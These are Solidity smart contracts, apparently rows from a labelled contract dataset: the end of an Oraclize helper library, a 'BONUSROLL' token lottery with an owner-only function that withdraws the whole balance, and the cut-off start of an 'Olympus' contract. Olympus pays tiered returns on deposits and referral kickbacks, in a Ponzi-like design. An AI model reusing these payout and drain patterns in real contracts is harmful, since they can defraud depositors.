function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract GameEventInterface {
event BuyTickets(address game, address to, uint amount);
event Winner(address game, address to, uint prize, uint random_number, uint buyer_who_won);
event Jackpot(address game, address to, uint jackpot);
}
contract AwardsTokensInterface {
function awardToken(address toAddress, uint amount) public;
function receiveFromGame() public payable;
function addGame(address gameAddress, uint amount) public;
}
contract BONUSROLL is ERC20Interface, GameEventInterface, AwardsTokensInterface, usingOraclize {
using SafeMath for uint;
string public constant symbol = "BNS";
string public constant name = "Bonus Token";
uint8 public constant decimals = 18;
uint256 _totalSupply = 10000000000 * 10**uint(decimals);
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
address public owner;
mapping (uint => address) queue;
mapping (uint => uint) rollAmounts;
uint queueLength;
uint queueIndex;
mapping(address => bool) games;
mapping(address => uint) gamesAmount;
uint ledgerCount = 0;
function BONUSROLL() public {
owner = msg.sender;
balances[owner] = _totalSupply;
Transfer(address(0), msg.sender, _totalSupply);
queueIndex = 0;
queueLength = 0;
oraclize_setProof(proofType_Ledger);
}
modifier onlyOwner () {
require(msg.sender == owner);
_;
}
modifier onlyGame () {
require(games[msg.sender]);
_;
}
event EthReceived(address inAddress, uint amount);
function() public payable {
msg.sender.transfer(msg.value);
}
function addGame (address gameAddress, uint tokenPrMTicket) public onlyOwner {
require(gameAddress != address(0));
games[gameAddress] = true;
gamesAmount[gameAddress] = tokenPrMTicket;
approve(gameAddress, _totalSupply);
}
function receiveFromGame() public payable {
EthReceived(msg.sender, msg.value);
}
function awardToken (address toAddress, uint ticketAmount) public onlyGame {
uint factor = 1;
if (this.balance < 1 ether){
factor = 50;
}
else if (this.balance < 2 ether){
factor = 40;
}
else if (this.balance < 4 ether){
factor = 30;
}
else if (this.balance < 8 ether){
factor = 20;
}
else if (this.balance < 16 ether){
factor = 15;
}
else if (this.balance < 32 ether){
factor = 10;
}
else if (this.balance < 64 ether){
factor = 8;
}
else if (this.balance < 128 ether){
factor = 6;
}
else if (this.balance < 256 ether){
factor = 4;
}
else if (this.balance < 512 ether){
factor = 2;
}
require(games[msg.sender]);
uint toAward = (gamesAmount[msg.sender]*ticketAmount)*1000000000000*factor;
transferFrom(owner, toAddress, toAward);
}
function roll(uint amount) public {
require((amount == 10 && this.balance >= 256 ether) || (amount == 100 && this.balance >= 4 ether) || amount == 1000);
uint price = (amount * 10**uint(decimals));
require(balanceOf(msg.sender) >= price);
queue[queueLength] = msg.sender;
rollAmounts[queueLength] = amount;
queueLength += 1;
transfer(owner, price);
getRandom();
}
event LedgerFailed(string status);
event GotRandom(uint number);
function __callback(bytes32 _queryId, string _result, bytes _proof) public {
require (msg.sender == oraclize_cbAddress());
if(oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) == 0){
uint randomNumber = uint(keccak256(_result));
startRaffle((randomNumber % 1000000)+1);
}
else if (ledgerCount <= 2){
LedgerFailed("Requesting new");
ledgerCount = ledgerCount.add(1);
getRandom();
}
else {
LedgerFailed("Stopping");
}
}
function getRandom() internal {
uint N = 7;
uint delay = 0;
uint callbackGas = 250000;
bytes32 queryId = oraclize_newRandomDSQuery(delay, N, callbackGas);
}
function startRaffle(uint random) internal {
address tempPlayer = queue[queueIndex];
delete(queue[queueIndex]);
uint winLimit = (rollAmounts[queueIndex].mul(10));
delete(rollAmounts[queueIndex]);
queueIndex += 1;
GotRandom(random);
if(random <= winLimit){
Winner(address(this), tempPlayer, address(this).balance, random, 0);
tempPlayer.transfer((address(this).balance).div(2));
}
}
function takeAll() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != address(0));
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(to != address(0));
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function forceRoll() public onlyOwner {
ledgerCount = 0;
getRandom();
}
} | 0 | 635 |
pragma solidity ^0.4.25;
contract Olympus {
mapping (address => uint256) public invested;
mapping (address => uint256) public atBlock;
address techSupport = 0x9BeE4317c50f66332DA95238AF079Be40a40eaa2;
uint techSupportPercent = 2;
uint refPercent = 3;
uint refBack = 3;
function calculateProfitPercent(uint bal) private pure returns (uint) {
if (bal >= 4e21) {
return 60;
}
if (bal >= 2e21) {
return 50;
}
if (bal >= 1e21) {
return 45;
}
if (bal >= 5e20) {
return 40;
}
if (bal >= 4e20) {
return 38;
}
if (bal >= 3e20) {
return 36;
}
if (bal >= 2e20) {
return 34;
}
if (bal >= 1e20) {
return 32;
} else {
return 30;
}
}
function transferDefaultPercentsOfInvested(uint value) private {
techSupport.transfer(value * techSupportPercent / 100);
}
function bytesToAddress(bytes bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
function transferRefPercents(uint value, address sender) private {
if (msg.data.length != 0) {
address referrer = bytesToAddress(msg.data);
if(referrer != sender) {
sender.transfer(value * refBack / 100);
referrer.transfer(value * refPercent / 100);
} else {
techSupport.transfer(value * refPercent / 100);
}
} else {
techSupport.transfer(value * refPercent / 100);
}
}
